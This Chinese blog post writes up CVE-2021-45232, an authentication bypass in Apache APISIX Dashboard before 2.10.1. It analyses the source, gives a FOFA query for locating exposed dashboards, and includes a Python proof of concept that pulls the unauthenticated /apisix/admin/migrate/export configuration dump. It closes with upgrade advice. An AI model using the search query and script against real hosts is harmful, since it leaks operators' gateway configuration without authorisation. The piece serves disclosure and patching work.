Apache APISIX Dashboard 未授权访问(CVE-2021-45232 )

0x00 漏洞详情

Apache APISIX是一个实时、动态、高性能的API网关。Apache APISIX Dashboard旨在让用户尽可能容易地通过前端界面来操作Apache APISIX。
在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了两个框架,在框架gin的基础上引入了框架droplet。所有API和认证中间件都是基于框架 droplet开发的,但有些API直接使用了框架gin的接口,从而绕过身份验证,导致未授权访问。

0x01 影响版本

Apache APISIX Dashboard < 2.10.1

0x02 源码分析(以2.9.0版本为例)

  • 下载地址
https://github.com/apache/apisix-dashboard/tree/release/2.9.0

apisix-dashboard-release-2.9.0\apisix-dashboard-release-2.9.0\api\internal\filter路径下authentication.go文件中定义了用户通过URL访问以/apisix开头的接口时,使用HTTP Header中的Authorization进行权限认证。还定义了两个例外/apisix/admin/tool/version和/apisix/admin/user/login不需要进行权限认证认证。
在这里插入图片描述
在apisix-dashboard-release-2.9.0/api/internal/route.go中注册了一些handler,在正常情况下利用droplet对URL进行鉴权处理,与authentication.go中的handle对应。
在这里插入图片描述
在apisix-dashboard-release-2.9.0/api/internal/handler/migrate/migrate.go中发现有两个接口/apisix/admin/migrate/export和/apisix/admin/migrate/import没有经过droplet进行处理,存在认证绕过。
在这里插入图片描述

0x03 漏洞复现

fofa语句

title="Apache APISIX Dashboard"

在这里插入图片描述
使用ip+端口+/apisix/admin/migrate/export 的形式,不一定每个Ip都有这个漏洞,多尝试几个。
在这里插入图片描述

0x04 POC

import urllib.request
import ssl

url=input("输入测试地址\n>>>") + "/apisix/admin/migrate/export"
context = ssl._create_unverified_context()
header = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
            "X-Forwarded-For": "127.0.0.1"
        }
try:
    request = urllib.request.Request(url=url, headers=header)
    response = urllib.request.urlopen(request, context=context, timeout=10)
    html = str(response.read())
    if "Routes" in html or "hosts" in html and response.status == 200:
        print(html)
        print("[" + url + "]" + "[===存在Apache APISIX Dashboard身份认证绕过漏洞===]")
    else:
        print("[" + url + "]" + "[不存在Apache APISIX Dashboard身份认证绕过漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

0x05 修复建议

目前此漏洞已经修复,建议受影响用户尽快升级更新至Apache APISIX Dashboard 2.10.1版本。
下载链接:https://github.com/apache/apisix-dashboard/releases
缓解措施:更改默认用户名和密码,限制源IP访问 Apache APISIX Dashboard。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

两小姐的便利贴

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值